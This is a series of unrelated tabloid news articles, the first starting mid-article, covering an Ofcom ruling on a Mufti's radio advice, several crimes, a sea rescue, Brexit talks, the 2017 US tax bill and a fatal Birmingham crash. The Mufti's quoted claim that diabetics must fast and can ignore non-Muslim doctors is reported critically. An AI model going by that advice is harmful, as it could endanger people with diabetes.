The Mufti responded: 'Look, if the doctor is a Muslim and a religious person, then his advice carries weight. But if he is not a Muslim. Well, a non-Muslim Doctor will tell you to stop fasting even if you have a minor headache.

'What you have to do, is check is who is giving the advice. A proper Muslim doctor who is religious will not give you the wrong advice. Also, if a doctor has not given you the advice but you know yourself that your [blood] sugar is so high, that if you fast your condition will worsen then dont fast.'

The Mufti, who his not medically qualified then suggested: 'If you have mild diabetes, then it is not permitted to give up fasting in that situation. And where its not a doctor [giving advice], or if it is a non-Muslim doctor who is giving the advice, well their advice carries no weight. It has no importance whatsoever.'

The radio station in response to the complaint maintained the Mufti did not advise the caller 'not to listen to the doctor.

However, Ofcom said the Mufti's advice was to seek and trust advice offered by a Muslim doctor with 'Islamic knowledge'.

Ofcom's report into the investigation also said the advice given on the show could have prompted listeners with diabetes to disregard advice given to them from a non-Muslim doctor, which could cause potential harm.

They also criticised the Mufti's use of the term 'mild diabetes', citing advice from Diabetes UK which said 'there is no such thing as mild diabetes. All diabetes is serious and, if not properly controlled, can lead to serious complications'.

A spokesperson for Ofcom told MailOnline: 'Our investigation found that encouraging people with diabetes to fast and ignore medical advice was potentially harmful and offensive.

'As a result, we found the programme broke our rules on generally accepted standards.'
A pensioner who allegedly shot and killed his son during a fatal row has been identified as a doting grandfather and cancer survivor.

Peter John Smith opened fire on his 30-year-old son and father-of-two Andrew Smith at their property in Mulgrave, Melbourne's southeast in a shocking act of family violence, police allege.

Earlier photographs of Smith show the pensioner to be a loving grandfather to his son's two young children, worlds away from the man who was today charged with murder.

Scroll down for video

Peter John Smith (right) opened fire on his 30-year-old son and father-of-two Andrew Smith (left) at their property in Mulgrave, Melbourne's southeast in a shocking act of family violence, police allege

Earlier photographs of Smith (left) show the pensioner to be a loving grandfather to his son's (right) two young children, worlds away from the man who was today charged with murder

Smith faced the Melbourne Magistrates Court on Tuesday and has been remanded in custody to return to court in April.

A Legal Aid duty lawyer told magistrate Ross Maxted that Smith would be vulnerable in custody due to his age and appearance.

She also said the 69-year-old had also undergone surgery for bladder cancer in the past three months.

Police arrived at the man's property on Vincent Street, in Mulgrave, at 10pm on Monday after reports of gunfire.

Police were called to the Mulgrave home where they found the 30-year-old father (pictured) dead at the scene

Police arrived at the man's property on Vincent Street, in Mulgrave, at 10pm on Monday after reports of gunfire (Andrew pictured)

Neighbours of the family were left reeling after the shooting on the quiet Melbourne street (pictured)

The father-of-two was pronounced dead at the scene.

Neighbour Maureen Gleeson told Seven News the quiet suburban street is horrified by the shooting, while others said the family 'mostly' kept to themselves.

'Someone's lost a child and the older man's life is ruined,' Ms Gleeson told reporters.

'The whole family's life is ruined and that's tragic. I feel very sad for that family, it's Christmas time.'

Neighbour Maureen Gleeson told Seven News the quiet suburban street (pictured) is horrified by the shooting, while others said the family 'mostly' kept to themselves
Louise Edwards faces jail for conspiring to blackmail her ex-husband out of 100,000

A businesswoman is facing jail after she tried to blackmail her ex-husband out of 100,000 following a divorce row.

Mother-of-two Louise Edwards ordered two men to threaten to burn down the house of her ex, Christopher Gash, after she felt 'cheated' following their divorce.

The former bank worker and three men she conspired with in the plot were all convicted of blackmail at Caernarfon Crown Court this week and Edwards was told she faces a jail term.

The court heard that Edwards, 46, and Mr Gash split 10 years ago and she got the matrimonial home, a holiday home at Porthmadog and a BMW. Mr Gash, a builder, a plot of land at Ruabon and his Ferrari.

But prosecutors said Edwards mistakenly believed Mr Gash had cheated her out of money from a land sale by not disclosing the sum to court authorities.

Anna Price, prosecuting, said two men had turned up at Mr Gash's yard on the Wales-England border in November 2015 and told him they had bought a debt of his and had come to collect it.

They gave him 24 hours to pay up or they would burn his house down.

Caernarfon Crown Court heard Mr Gash feared for his life after the money was demanded

The ex-husband said he had feared for his life. He went to police and his phone was handed to them, a call two days later being recorded and traced to a call box in the centre of Liverpool.

Police investigated further and later arrested Edwards outside her daughter's school.

Giving evidence, her ex-husband, of Wrexham, claimed threats had been made, he feared for his life at the time and that police had installed him and his family in a safe house for a fortnight.

Robert Gladwin, 43, of Bromborough, Wirral, Neil Houghton, 43, of Liverpool, and Clay McGowan, 41, of Runcorn, all denied being part of the blackmail plot but were found guilty after a trial.

Judge Huw Rees bailed the four defendents for until February 2. 'Each of them should be prepared to face a substantial period of imprisonment,' he said.

Brett Williamson, defending, said Edwards was a mother of two and had ten employees in her own business. 'She certainly needs to make preparations for the inevitable custodial sentence,' counsel said.
This is the dramatic moment three North Korean fishermen were rescued after spending two nights adrift on freezing waters that killed their captain.

The men had been fishing in the Sea of Japan east of the hermit kingdom when their wooden schooner was struck by a wave which stopped its engine.

Currents carried them more than 200 miles from the shore.

In the tense video, the Russian sailors are seen spotting the sinking vessel before raising the alarm.

The footage from December 14 shows Russian sailors frantically lowering a wooden pallet to lift the fishermen to safety.

The North Korean fishermen are then seen knee-deep in freezing cold water.

First they pull up the body of the dead captain. After comes one fisherman thought to have been suffering from frostbite.

The two remaining sailors are rescued minutes before their boat sinks beneath the waves.

Four North Korean fishermen were rescued by Russian trawler men after their wooden schooner's engine broke after being hit by a wave

Viktor Sidorov, head of the Russian fishing collective that owns the trawler, told local media the Koreans were about 200 miles from shore when they were found.

He said: 'The ship's crew saw on the open sea a half-sunk wooden boat with people.

'The crew on board the Peter Ilyich managed to raise three living sailors and one dead.'

The North Korean fishermen were found on the Sea of Japan (pictured above) more than 200 miles from the shoreline. They had been drifting for two days

The crew of the Peter Ilyich managed to save three r men during the December 14 rescue mission. However, the schooner's captain died from the cold

He added: 'I do not know all the details but I know that the sailor Pavel Alexandrin, the boatswain Hovik Avdalyan and the old man Alexander Gusev took the most active part in saving the Koreans.

'Two fishermen were in normal condition, and the third complained of pain in the legs. Maybe there was frostbite.

'They were knee-deep in the water on their schooner.'

The Russian vessel handed the three soldiers and the body of the captain over to the North Korean embassy. They were taken to hospital in Russia.
EU negotiator Michel Barnier today insisted the Brexit deal Britain wants on financial services 'doesn't exist'.

Mr Barnier moved to quash British hopes of a bespoke deal that allows the City to keep its place as Europe's leading financial centre after Brexit.

Theresa May insisted yesterday she would be able to secure a unique deal for Britain that allows the country to leave the EU behind while fostering a 'deep and special partnership'.

Securing 'passporting' rights is essential to allow trading in euros to continue to in London.

But in an interview with a series of European newspapers, Mr Barnier today repeated warnings Britain would have to choose from an existing model for its deal.

In return, Whitehall sources close to Brexit Secretary David Davis have warned Europe it cannot 'cherry pick' which parts of the UK economy it wants to access.

EU negotiator Michel Barnier (pictured with Angela Merkel last week) today insisted the Brexit deal Britain wants on financial services 'doesn't exit'

Brussels wants Britain to choose between a Norway-style deal that involves accepting most EU rules in return for free trade or a more distant Canada-style agreement that is more distant and grants less access to continental markets.

Mr Barnier warned: 'There is no place (for financial services).

'There is not a single trade agreement that is open to financial services. It doesn't exist.'

Mr Barnier blamed the potential outcome on the 'red lines that the British have chosen themselves'.

'In leaving the single market, they lose the financial services passport,' he added.

Sources close to Mr Davis told the Guardian the EU 'either want to have a broad economic relationship with the UK, or they don't'.

Stefaan De Rynck, an aide to Mr Barnier, yesterday signalled a hard line in the looming trade talks.

He also warned that the UK will have to accept all EU rules during a mooted two-year transition period - and it is 'not a given' Brussels will agree to the idea.

The tough comments come as the sides prepare to launch the next phase of negotiations in the New Year, after the terms of the divorce deal were finally settled last week.

Britain will not get a special Brexit deal for the City of London, senior EU negotiator Stefaan De Rynck warned at Chatham House yesterday (pictured)

The government is expected to push for a 'Canada plus plus plus' deal, which would cover the vital services sector as well as goods trade.

The prospect has been pushed by Brexiteers as the financial sector benefits from 'passporting' rules that allow firms to trade freely across the continent without more red tape.

However, Mr De Rynck made clear Brussels would never accept that as it would mean the 'end' of the European single market.

'There can be no sector-by-sector participation in the single market, and trying to square the FTA (free trade agreement) in a way that would lead to a sector-based participation in the single market would, for the EU, be the beginning of the end of the correct functioning and the integrity of the single market,' he told the event at the Chatham House think-tank.

'That is therefore something the EU will want to avoid.'

Theresa May (pictured in the Commons yesterday) must balance competing demands inside the Cabinet as Britain draws up its negotiating position ahead of the next round of talks

Mr De Rynck also insisted the UK will have to recognise the integrity of the single market and customs union during any transition period.

'No cherry-picking, or what one could call a buffet-style transition where one picks and chooses the bits one likes,' he said.

Mr De Rynck jibed that Brexit would 'never be a success' - lamenting that it was a 'lose-lose situation' for the UK and the EU.

'For us, I don't think we will ever label Brexit a success. It's a mutual weakening, I think, of two parties,' he said.

'Economically, for us, Brexit is a lose-lose situation.

'So, our negotiation here is not like we had with Japan, how do you create value together, but, how do you minimise losses economically on both sides?'

He did concede that all trade deals were technically 'bespoke' but dismissed the idea that models for agreements - such as those with Canada and Norway - could be mixed as Mrs May is urging.

Mrs May gathered her Brexit 'war Cabinet' yesterday for its first discussions on what model Britain will seek in the next phase of talks.

The full Cabinet is discussing the issue in Downing Street today.
A former paratrooper today pleaded not guilty to murdering a pensioner stabbed to death while walking his dogs.

Alexander Palmer, 23, appeared via video link at Norwich Crown Court today, charged with the murder of 83-year-old Peter Wrighton.

The pensioner was found dead near the village of East Harling, Norfolk, on August 5, and was so badly injured police initially feared he had been attacked by an animal.

A Home Office post-mortem examination found the grandfather, from Banham, Norfolk, had been repeatedly stabbed in the neck and head.

Alexander Palmer, 23, appeared via video link at Norwich Crown Court today, charged with the murder of 83-year-old Peter Wrighton and pleaded not guilty

Mr Wrighton's dogs, Dylan and Gemma, were found near his body which was so badly injured, it was initially thought he had been attacked by an animal

Palmer, who was dressed in a blue, short sleeved T shirt, spoke only to state his plea and thank Judge Stephen Holt during the short six-minute hearing.

He was remanded in custody at HMP Belmarsh in south-east London and faces a trial on February 12 next year at Norwich Crown Court where he will appear in person.

Mr Wrighton's body was found by another dog owner, 50 yards from where he had parked his red Skoda Fabia at Harling Woods, Norfolk in August

Adjourning the case, Judge Stephen Holt said: 'Mr Palmer, I have to give you one formal warning that all which all defendants who are in custody get, which is for you to give as much information as you possibly can to your legal team.'

Mr Wrighton's body was found by another dog owner, 50 yards from where he had parked his red Skoda Fabia at Harling Woods, Norfolk.

His dogs, Dylan and Gemma, were found near his body which was so badly injured, it was initially thought he had been attacked by an animal.

Paramedics raced to the wood, but the retired BT engineer was declared dead at the scene.

His nine-year-old Scarteen Harrier and 13-year-old Trailhound cross, were found unharmed near the pensioner's body.

A manhunt, involving more than 100 officers was launched after a pathologist ruled Mr Wrighton had died from 'incised' wounds.

His distraught wife Ann, 76, described Peter, originally from North London, who volunteered for the Dogs Trust, as a 'lovely, gentle husband, dad and grandfather'.

His family also paid tribute to the 83-year-old's 'kind nature' and his 'love of walking his dogs and chatting with people to pass the time of day'.

It's understood the couple, who had been married for 59 years, moved to the area 30 years ago after Peter retired from his 35-year career with British Telecom.

Palmer, from Cringleford, Norfolk, who served as a gunner in the Army in 2015, was remanded in custody until his trial next year.
A Muslim man accused of shooting two teenagers wants to remove a magistrate from his case because of perceived bias about Sharia law.

Zakaria Zaatiti, 23, appeared in Melbourne Magistrates Court on Tuesday to apply for bail over allegations he shot two males aged 16 and 18 at Roxburgh Park in August.

But before the bail hearing began, his lawyer Shaun Ginsbourg applied for magistrate Ross Maxted to disqualify himself from the case.

A 23-year-old Muslim man is applying to have a Melbourne magistrate disqualified from his case for his perceived bias on Sharia law (a woman in Aceh is caned in May for adultery)

Mr Maxted refused Zaatiti bail in September.

'Essentially Your Honour made comments in the course of cross-examining my client's father about sharia law,' Mr Ginsbourg said.

The barrister said those comments constituted 'apprehended bias' in regards to the strict Islamic legal system.

Mr Maxted said there were legal precedents which prevent magistrates from removing themselves from a case simply because an accused person requests it.

In an unrelated court case in Sydney, a woman wears a full burqa into a courtroom

Under Sharia law, women are required to cover themselves in burqas to avoid arousing men

'I should not readily accede to a disqualification application if I feel that it's not required by law,' he said.

Mr Ginsbourg said three key comments made by Mr Maxted on September 21 support his application for the magistrate to remove himself from Zaatiti's second bid for bail.

'I was left with an uncomfortable feeling that there may be two sets of loyalties in this, of one to sharia law and one to the court,' the magistrate said in the previous hearing, according to a transcript read by Mr Ginsbourg.

The magistrate was referring to Zaatiti's father, who had offered to be his son's surety.

Sharia law is a strict Islamic legal system that can include caning for adultery (pictured is a woman being punished in Indonesia's Aceh province for spending time with another man)

'Your Honour draws a distinction between a person being loyal to sharia law and on the other hand, the person being loyal to the law of the land,' Mr Ginsbourg said.

'Your Honour expressly draws a link between concerns about his loyalties to those laws and his loyalty to sharia law.'

The defence barrister said the magistrate had 'no rational basis whatsoever' to find Zaatiti senior's adherence to sharia law undermined his credibility.

Mr Maxted said the comments were observations, not findings, about the suitability of Zaatiti's father as the 'eyes and ears of the court' if his son was released on bail.

'What has his professed loyalty or adherence to sharia law got to do with that question?' Mr Ginsbourg said.

'I'm not answering questions from the bar table,' Mr Maxted said before adjourning the matter to Wednesday.
House Republicans pushed through a $1.5 trillion tax cut Tuesday, advancing the most consequential legislation of the Trump presidency toward likely passage in the Senate.

The vote ticked past a majority, to 227-203 Tuesday afternoon as the final vote was gaveled.

Just 12 Republicans voted against the final conference report in the House. Among them were Reps. Rodney Frelinghuysen of New Jersey, the House Appropriations Committee chairman, Rep. Darrel Issa of California, and Rep. Dana Rohrabacher of California.

All three of them represent high-tax states where some constituents could get slammed by a provision that caps the deduction for state and local taxes.

Not a single Democrat voted for the GOP-crafted conference report, and in the end Republicans lost only 12 of their own members

There was just one GOP opponent outside of the Democratic-leaning states of New Jersey, New York, and California  Rep. Walter Jones of North Carolina.

President Trump lauded House Republican supporters on Twitter. 'Congratulations to Paul Ryan, Kevin McCarthy, Kevin Brady, Steve Scalise, Cathy McMorris Rodgers and all great House Republicans who voted in favor of cutting your taxes!' he wrote.

Not a single Democrat voted for the GOP-crafted conference report  a steep partisan split that is already leading to questions about whether the cuts will be able to endure for the long term.

The White House maintained that the president could be facing a tax increase, even as it said his business would fare well.

'We expect that it likely will, certainly on the personal side, could cost the president a lot of money. Again, the president's focus hasn't necessarily been at all on himself,' said White House press secretary Sarah Huckabee Sanders.

Pressed on whether the billionaire president would have to pay more, despite the doubling of the estate tax exemption, changes for 'pass through' corporations, and the top rate reduction, Sanders responded: 'I said that in some ways, particularly on the personal side, the president will likely take a big hit, but on the business side he could benefit. But the biggest focus for this White House has been to make sure all Americans are better off today, after this tax package passes, then they were beforehand.

WHAT'S IN THE FINAL TAX BILL? Top income tax bracket has dropped to 37 per cent from 39.6 per cent

Other brackets are zero, 12, 22, 24, 32 and 35 per cent

'Standard' deduction for non-itemizers nearly doubles

Interest is deductible only on the first $750,000 of new home mortgages

Only individuals making more than $500,000 and couples earning $600,000 are in the top bracket

Corporate tax rates drop from 35 per cent to 21 per cent

Deduction for medical expenses and student loan interest and an exemption for graduate school tuition waivers

Ends Obamacare tax penalty for failing to buy health insurance

Doubles child tax credit to $2,000 for families earning up to $400,000

$1,400 of child credit is refundable even for families that don't pay any income tax

Doubles estate tax exemption to the first $11.2 million of inheritances

Opens a portion of the Arctic National Wildlife Refuge to oil and gas drilling

'Pass-through' corporations can deduct 20 per cent of income

Elimination of corporate Alternative Minimum Tax

No repeal of Johnson Amendment barring churches and religious organizations from election activity Advertisement

Treasury Secretary Steven Mnuchin sat in the House chamber for a portion of the final debate.

President Trump could sign the measure as early as Wednesday if Senate passage proceeds as planned.

The Republican-controlled U.S. Congress began voting on Tuesday on the biggest overhaul of the U.S. tax system in more than 30 years, with little standing in the way of the party's first major legislative triumph.

'This is a day Ive been looking forward to for a long time,' said House Speaker Paul Ryan

In another signal of the low-drama move to final passage, Sens. Mike Lee of Utah and Susan Collins of Maine each announced their support for the final bill Monday.

That left the GOP within sight of victory even as Sen. John McCain of Arizona recuperated at home from complications of his brain cancer.

The Senate passed its first version of the tax cut by a vote of just 51-49.

House GOP leaders hailed the bill minutes after the House passed it. Speaker Ryan hailed it as 'profound change'

Speaker Paul Ryan was able to help hold his caucus together and get a bill passed just days after final text was released

President Trump tweeted congratulations for those 'who voted in favor of cutting your taxes!'

'This is profound change, and this is change that's going to put our country on the right path,' Ryan said immediately after the vote.

'We said in 2016 that it would take real tax reform for families and businesses to get the American economy going. And we were serious,' he said.

And he indicated that more tax cuts were on the way in the future. Individual rate cuts are set to expire in a decade under required procedural rules.

'We have every intent of making those permanent ... it's obviously our intent to make all those permanent,' he said

The initial tax legislation was introduced barely six weeks ago on Nov. 2, and the final House-Senate compromise text wasn't released until Friday evening.

Speaker of the House Rep. Paul Ryan (R-WI) (2nd L) speaks as (L-R) House Republican Conference Chair Rep. Cathy McMorris Rodgers (R-WA), House Majority Leader Rep. Kevin McCarthy (R-CA) and House Majority Whip Rep. Steve Scalise (R-LA) listen during a news briefing after a House Republican Conference meeting at the Capitol December 19, 2017 in Washington, DC. The House is expected to vote on the tax bill this afternoon. (Photo by Alex Wong/Getty Images)

The race for immediate passage was driven by several factors.

Republican leaders were determined not to let the 1,100 page final bill linger so it might get picked apart by critics. On Saturday, just in the initial hours after it was announced, it was revealed that a change to the language for 'pass-through' corporations would benefit income-earning real estate holders like President Donald Trump and opponent-turned-supported Sen. Bob Corker of Tennessee.

In a show of Republican unity despite polls showing public opposition to the plan, the House GOP easily turned back a Democratic motion to recommit the bill to committee with instructions to change it.

READY IF NEEDED: Vice President Mike Pence walks to a vote for tax reform in the House of Representatives. He was on hand to break a tie in the Senate if needed

Protesters in the House visitors' gallery shouted 'Shame! Shame!' as the final tally was taken.

House Speaker Paul Ryan of Wisconsin sounded gleeful as he announced the final vote tally.

'This is a day Ive been looking forward to for a long time. We are about to change some really big things,' said House Speaker Paul Ryan of Wisconsin in the final minutes before the House vote.

'Today we are giving the people of this country their money back. This is their money after all,' said Ryan, who has called the tax cut the culmination of a career-long dream.

Ryan cast the bill in kitchen table terms, saying it would benefit families 'living paycheck to paycheck'  even as Democrats pointed out the bill crafted by Republican negotiators slashed the top income tax rate, lowered corporate taxes, and doubled the size of the exemption for estates that come under the federal estate tax.

House Ways and Means Committee Chairman Kevin Brady, R-Texas, speaks on Capitol Hill in Washington, after Republicans muscled the most sweeping rewrite of the nation's tax laws in more than three decades through the House Tuesday, Dec. 19, 2017, as House Speak Paul Ryan of Wis., Rep. Cathy McMorris Rodgers, R-Wash., House Majority Whip Steve Scalise, R-La., and House Majority Leader Kevin McCarthy of Calif., listen

'The biggest focus of this White House has been to make sure all Americans are better off than they are today,' said White House spokeswoman Sarah Huckabee Sanders after the House vote.

President Trump has denied he would personally benefit from the cuts, although personal and business rate cuts, the real estate change, estate law changes, the elimination of the Alternative Minimum Tax, and other provisions would appear to help him or the Trump Organization he still owns, though does not manage.

Under the conference report heading to a vote in the Senate, estates worth $11.2 million would be subject to the estate tax, up from $5.6 million.

The bill slashes income tax rates, including lowering the top bracket of 39.6 per cent down to 37 per cent.

Corporate tax rates would plummet from 35 per cent to a new 21 per cent bracket.

The Senate could follow on Tuesday night or Wednesday morning, after completing 10 hours of debate, lawmakers said.

The presidnet fired off a pair of gloating tweets Tuesday morning before the vote took place

The outcome of the House vote wasn't in doubt Tuesday, as Democrats took their last opportunity to bash the proposal as it moved forward.

'Today we choose what kind of country America will be: one that champions the ladders of opportunity for all, or one that reinforces the power of the wealthiest and well-connected,' said House minority leader Nancy Pelosi of California.

'Why aren't they joining us on insisting for a better deal for American families?' she said of Republicans. 'Why aren't they joining us in demanding that we write real bipartisan tax reform that puts the middle class first? Because helping the middle class has never been their goal,' she said.

'Republicans will vote to catastrophically explode our national debt ... where are the vaunted Republican deficit hawks? Are they endangered? Are they extinct?' she said.

Republicans pushed back against Democratic claims that the bill was structured to reward the donor class.

'Opponents to this tax bill, they don't really worry about tax cuts for the rich. They worry about tax cuts for you,' said Ways and Means Chairman Rep. Kevin Brady.

'Given the choice between the federal government and you, we choose you, hard-working American taxpayers. We choose you, the only special interest that truly matters,' he said.

In a pair of early morning tweets Tuesday, Trump savored what would be his biggest legislative accomplishment as president.

'DOW RISES 5000 POINTS ON THE YEAR FOR THE FIRST TIME EVER - MAKE AMERICA GREAT AGAIN!' he wrote in all upper-case letters.

He added in a second message: 'Stocks and the economy have a long way to go after the Tax Cut Bill is totally understood and appreciated in scope and size. Immediate expensing will have a big impact. Biggest Tax Cuts and Reform EVER passed. Enjoy. And create many beautiful JOBS!'

With strict party-line votes expected in both chambers, passage appeared all but certain.

Republicans insist that the sweeping package of tax cuts for corporations, small businesses and individuals will boost economic and job growth. They also see the measure as key to having any hope of retaining their majorities in the House and Senate when voters go to the polls next November.

The end-of-year sprint toward passage represents a remarkable recovery of Republican fortunes since the middle of this year, when the party's drive to dismantle former Democratic President Barack Obama's Obamacare healthcare law crumbled in the Senate and prospects for a tax overhaul seemed doomed by party infighting.

Senate Majority Leader Mitch McConnell (left) and Speaker of the House Paul Ryan (right) are trying to bring the tax bill across the finish line

Lingering doubts about fate of the tax bill all but vanished on Monday after two of the last Senate Republican holdouts, Susan Collins and Mike Lee, agreed to support the legislation.

'I'm ready to vote,' Republican Senator John Kennedy told Reuters. 'I felt like we should have voted this weekend.'

Democrats, who unanimously oppose the Republican bill, railed against it as a giveaway to corporations and the wealthy that would add $1.5 trillion to the federal debt over the next decade and deepen the U.S. income gap between rich and poor.

'There are so many rip-offs in this bill that people are going to say this is some kind of new Gilded Age,' said Senator Ron Wyden, top Democrat on the Senate Tax Committee.

The House, where Republicans hold a 239-193 voting majority, was likely to see a smattering of 'no' votes from Republican fiscal hawks and lawmakers from the high-tax states of New York, New Jersey and California who oppose a provision that would scale back a popular deduction for state and local taxes.

'It's still a bill that's going to give tax relief to other parts of America on the backs of New Yorkers. So I'm still going to vote 'no,'' said Republican Representative Dan Donovan of New York.

The legislation would also repeal a federal fine imposed on Americans under Obamacare for not obtaining health insurance coverage, a change that could undermine the 2010 healthcare law formally known as the Affordable Care Act.

Vice President Mike Pence took the precaution of rescheduling a trip to Egypt and Israel for January to be on hand this week, just in case his tie-breaking voting power is needed to ensure Senate passage of the tax bill.

Republicans, who control the 100-seat Senate by only a 52-48 margin, can afford to lose support from no more than two party lawmakers.

Republican Senator Jeff Flake was still undecided late on Monday. Senator John McCain, who has brain cancer, was spending time with family in Arizona.
Tributes have been paid to a couple who were killed when an Audi slammed into a taxi they were travelling home in on Saturday night.

Lucy Davis and her partner Lee Jenkins were in the taxi which was involved in a high-speed smash in the centre of Birmingham at the weekend, killing six people and seriously injuring one other.

Friends of sign language interpreter Ms Davis and her boyfriend Mr Jenkins, understood to be a scientist at University Hospital Birmingham, have expressed their devastation at the couple's deaths.

Ms Davis's heartbroken sister, Alison Worth, paid tribute to her sister online, saying the couple were travelling home from a 'lovely day and evening out with friends'.

Ms Worth wrote: 'They were in a taxi as they wouldn't think of driving. They were wearing seatbelts as Lulu wouldn't get in a car if the seatbelts didn't work.

'They were happy. They were great together and had so many plans. You will always be in my heart and my thoughts. I miss you so much x'.

The family of Ms Davis said: 'Lucy was a beautiful and fun-loving mother, daughter, sister, auntie and friend who brought happiness to the lives of all she met.

'Rest in Peace our Lady in Red.'

Lucy Davis, 43, and Lee Jenkins, 42, both died when the taxi when they were travelling in was hit head-on by an Audi which mounted the central reservation and flew into the other lane

Friends said sign language interpreter and mother Ms Davis was an 'amazing woman'

Lucy's sister said her sibling was 'beautiful' and 'kind' and revealed that they called her 'Lulu'

Ms Davis worked for Bournville College in south Birmingham and helped deaf and students with hearing impairment with their studies.

Mr Jenkins is understood to be a scientist at University Hospital Birmingham

Friends who were with the couple minutes before the accident said they were 'very happy' when they left to go home and had enjoyed a 'lovely' night out.

A friend of Ms Davis from the Word of Hands Theatre added: 'Lucy Davis was an amazing woman and we all knew her with her red lipstick!

'Every prayers and thoughts are with her family and close friends. Lucy will always remain in our hearts. You shall be sorely missed xxx'

The National Union of British Sign Language Interpreters said in a statement: 'As a small close-knit community, the profession is shocked and saddened to learn of the tragic death of Lucy in a car accident.

'She will be missed by her colleagues and members of the deaf community alike. We would like to pass on our deepest condolences to both families at such a very difficult time.'

Kasar Jehangir, Mohammed Fahsa and Tauqeer Hussain died in the Audi, friends have said

Taxi driver Imtiaz Mohammed, described as a 'hard-working family man', also died in the crash

The taxi the couple were travelling in ended up on its side after it was hit, head-on, by the Audi

Mary-Jayne Russell de Clifford met Ms Davis when she was a student at the InteGreat theatre between 2010 and 2012.

The two remained close and met at the Word of Hands theatre, which is based at the Riverside Church in Birmingham, this summer.

Ms de Clifford said: 'Lucy Davis was a wonderful, beautiful, caring, gentle and a passionate person about the Deaf community.

'She believed in every deaf person she met, working with and developing friendships with the deaf people. She took a strong interest in British Sign Language and it became part of her life.

'She was involved in InteGreat Theatre years ago which integrates a deaf and hearing theatre group and last summer she was involved with Word of Hands Theatre summer school. They were both based in Birmingham.

'Her contribution and passion for drama was her desire and her two beautiful children followed.

'Her daughter and son got involved with the school holidays drama club called Words, Signs and Vibes.

'She encouraged and supported her children with drama and acted as an inspiration. Her children are still involved with the theatre in all aspects.

'The whole deaf and sign language community are really devastated that she has gone so soon and we will all miss her so much.

'All of our prayers and thoughts are with her family especially her two beautiful children.

'Lucy, thank you for your wholehearted commitment towards the drama and deaf people.

'You have been truly amazing. We all loved you dearly.'

The crash also claimed the life of cab driver and father-of-six Imtiaz Mohammed, 33, who was driving the couple home.

Last night it emerged that all four men travelling in the Audi S3 had a keen interest in fast cars.

Three of the men - named locally as Jehangir, Tauqeer Hussain, 26, and Mohammed Fahsa, 30 - were killed instantly in the collision, which also involved a seven-seater taxi and a third vehicle in which the two occupants 'astonishingly' escaped without serious injury.

Zakkria Khan, 22, a back seat passenger in the Audi, remained seriously ill in hospital last night. All four men in the Audi had been thrown from the 155mph car on impact early on Sunday.

Mr Tauqeer and Jehangir had both posted pictures of a black Audi S3 on their Facebook - a similar type of car to the one involved in the tragic crash.

Sgt Alan Hands, from the force's Collision Investigation Unit, said: 'Our investigations continue as we work to establish exactly what happened.

'We have spoken to several drivers and potential witnesses but would still like to hear from anyone who was in the area at the time and has not yet spoken to us.

'Our family liaison officers are supporting relatives of the bereaved at this tragic time and our thoughts remain with them.

'We have done our utmost to respect the grieving families' wishes for privacy with regards to releasing casualty details - but as names of the deceased are now already in the public domain, and to avoid further speculation, it is now right for us to formally confirm the names of the victims.

Both Tauqeer and Kasar posted pictures of a black Audi A3 on their Facebook pages in 2015

Jehangir had recently been released from jail after a high-speed chase in 2015. Dashcam footage released by the police then showed the moment occupants hurled heroin from the car

Jehangir, who lived a short distance away in Bordesley Green, was jailed for 34 months last November over two counts of dangerous driving and possession with intent to supply.

A court heard how he was at the wheel of an Audi S3 which had been tailed by police through Penkridge, Staffordshire, on to the southbound M6 carriageway in July 2015.

Jehangir reached speeds of up to 130mph and was filmed by a police dashcam undertaking cars and swerving on to the hard shoulder, as packets of heroin were seen being thrown from the vehicle.

Following the sentencing, Constable Anthony McKenzie from the Central Motorway Police Group said Jehangir and a co-defendant had 'put many lives at risk with their dangerous high speed driving, showing their total disregard for other road users'.

Yesterday Jehangir's father Mohammed, 64, confirmed his son's death but was too upset to comment further.
Two teenagers were stabbed several times during a Christmas dance party in Victoria on Sunday.

The teenage boys were enjoying a friend's party at a farm in Packenham South when a group of 15 gatecrashes entered the shed, armed with knives and allegedly yelling 'Aussie scum'.

Joel Sarlo, 18, was stabbed twice during the frenzied attack, with one puncture narrowly missing his lungs.

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Joel Sarlo, 18, was stabbed twice during a frenzied attack at a dance party in Victoria, with one puncture narrowly missing his lungs (pictured)

Mr Sarlo had come to the defense of his mate, 18-year-old Matt Drommel, who was being beaten by the knife-wielding thugs.

Mr Drommel, who was also stabbed, told 7 News the gatecrashers tried to kidnap him by leading him out to a car with a knife pressed to his throat.

'They tried to stab me twice in the stomach but missed, but they stabbed me there,' Mr Drommel said, pointing to a wound on his arm.

The 18-year-old was able to get away from the attackers, crawling into a bathroom and hiding until they left.

Mr Sarlo, 18, had come to the defense of his friend when he was set upon by the knife-wielding thugs and stabbed

Matt Drommel, also 18, was being beaten by the thugs before being stabbed and nearly kidnapped

'I thought I was actually going to die...if it wasn't for my mates I probably would be dead,' he said.

Friends tried to stop the bleeding by using towels as the party goers were left terrified following the attack.

Mr Sarlo was ambushed by six of the men after he tried to help his friend, resulting in his stab wounds.

Friends tried to stop the bleeding by using towels as the party goers were left terrified following the attack

Police arrested a 17-year-old boy, believed to be from Iraq, as he was leaving the property on Sunday.

He was released on bail, drawing criticisms from the victims.

'You can go around stabbing someone with a knife and get out on bail the next day - it's a joke,' Mr Drommel said.
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These haunting images show the wrecks of three Royal Navy ships sunk in the Falklands War and which are the final resting places for 42 British servicemen.

The remains of HMS Coventry, HMS Antelope and her sister ship HMS Ardent have been captured using sonar images taken by the survey vessel HMS Enterprise.

The wrecks have been scanned to mark the 35th anniversary year of the conflict and the new images will be used to update charts used by fellow ships.

This is the wreck of HMS Coventry which sank 13 miles north of Pebble Island having been attacked by the Argentine Air Force on May 25, 1982. The vessel sank in minutes having been hit by three bombs with the loss of 19 of her crews

HMS Antelope split in two after it was struck by a 1,000lb bomb dropped by a jet on San Carlos Water in the Falklands

The 1,000lb bomb failed to detonate when it ripped through Antelope's deck. However the bomb finally exploded as bomb disposal expert Sergeant James Prescott attempted to defuse the weapon. The ship was ripped apart by the powerful blast

One of the images captures HMS Coventry which lies with her port side buried on the sea bed 300ft down and 13 miles north of Pebble Island.

On May 25, 1982, Argentina's national day, the destroyer was on duty north-west of the Falkland Islands when she came under attack from several enemy aircraft.

Three bombs tore the heart out of Coventry as they struck on the port side, causing her to sink in minutes with the loss of 19 men.

Another image shows the separated remains of HMS Antelope, which lies at a 45-degree angle on the bottom of San Carlos Water.

Antelope was struck by a 1,000lb bomb dropped by an Argentine aircraft on May 23, 1982.

It failed to explode initially but was triggered as bomb disposal experts worked to defuse it.

Bomb disposal expert Sergeant James Prescott was killed instantly in the blast which tore the ship in two as her keel broke and her superstructure melted into a heap of twisted metal.

